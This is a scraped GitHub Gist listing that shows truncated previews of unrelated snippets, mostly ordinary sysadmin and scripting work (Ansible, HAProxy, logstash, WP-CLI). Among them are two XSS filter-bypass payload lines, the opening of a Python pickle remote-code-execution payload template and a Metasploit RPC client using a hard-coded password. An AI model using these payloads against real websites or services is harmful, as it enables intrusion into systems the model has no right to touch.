Skip to content

Instantly share code, notes, and snippets.


Vpnwall Services vpnwall-services

View GitHub Profile
JonTheNiceGuy / create_cert.yml
Last active Oct 13, 2020
A simple ansible playbook to create a new self-signed certificate
View create_cert.yml
- hosts: localhost
- dnsname:
- tmppath: "./tmp/"
- crtpath: "{{ tmppath }}{{ dnsname }}.crt"
- pempath: "{{ tmppath }}{{ dnsname }}.pem"
- csrpath: "{{ tmppath }}{{ dnsname }}.csr"
- pfxpath: "{{ tmppath }}{{ dnsname }}.pfx"
- private_key_password: "password"
scrapehero /
Last active Jan 26, 2021
Python script to scrape a company details from a public company page on Written as part of How to Scrape educational post -
from lxml import html
import csv, os, json
import requests
from exceptions import ValueError
from time import sleep
def linkedin_companies_parser(url):
for i in range(5):
sourcec0de / haproxy.cfg
Created Oct 18, 2016
Here's a sample WORKING haproxy config for websockets / socketio. We were able to get socketio working on an Amazon ELB with just one node, but when we added multiple nodes, we saw weird client issues. So, we decided to use HAProxy on Ubuntu 12.04 and spent significant time trying to get just the right configuration (haproxy.cfg). Note though th…
View haproxy.cfg
log local0
log global
option httplog
frontend unsecured *:80
mgeeky /
Last active Dec 26, 2020
Python's Pickle Remote Code Execution payload template.
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
import cPickle
import sys
import base64
vburlak /
Last active Jan 11, 2019 — forked from teledirigido/
Download and Install Wordpress and Roots/Sage theme via WP-CLI
# This bash script works JUST with WP-CLI
# You can get it from here:
# If you don't know what to do with this file:
# 1) Install wp-cli on your workspace
# 2) Create a file call
rvrsh3ll / xxsfilterbypass.lst
Last active Jan 21, 2021
XSS Filter Bypass List
View xxsfilterbypass.lst
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
AdamOssenford /
Created Jan 18, 2016
This is an ANSIBLE Cheat Sheet from Jon Warbrick

An Ansible summary

Jon Warbrick, July 2014, V3.2 (for Ansible 1.7)

Configuration file


First one found from of

ctolsen /
Last active Jan 3, 2021
"Copy to cURL" in Chrome to Apache Bench command
#!/usr/bin/env python3
import sys
import os
def curl_to_ab(curl_cmd: list, num: int=200, cur: int=4) -> str:
Translate a cURL command created by Chrome's developer tools into a
command for ``ab``, the ApacheBench HTTP benchmarking tool.
bwbaugh /
Last active Nov 26, 2020
Installing logstash server and client

Installing logstash

Server install


Install the Java prerequisite:

carnal0wnage /
Last active Apr 19, 2020
python script to connect to a metasploit msgrpc instance, setup and run an auxilary module.
#!/usr/bin/env python
import sys
import msfrpc
import time
if __name__ == '__main__':
# Create a new instance of the Msfrpc client with the default options
client = msfrpc.Msfrpc({})
# Login to the msf server using the password "abc123"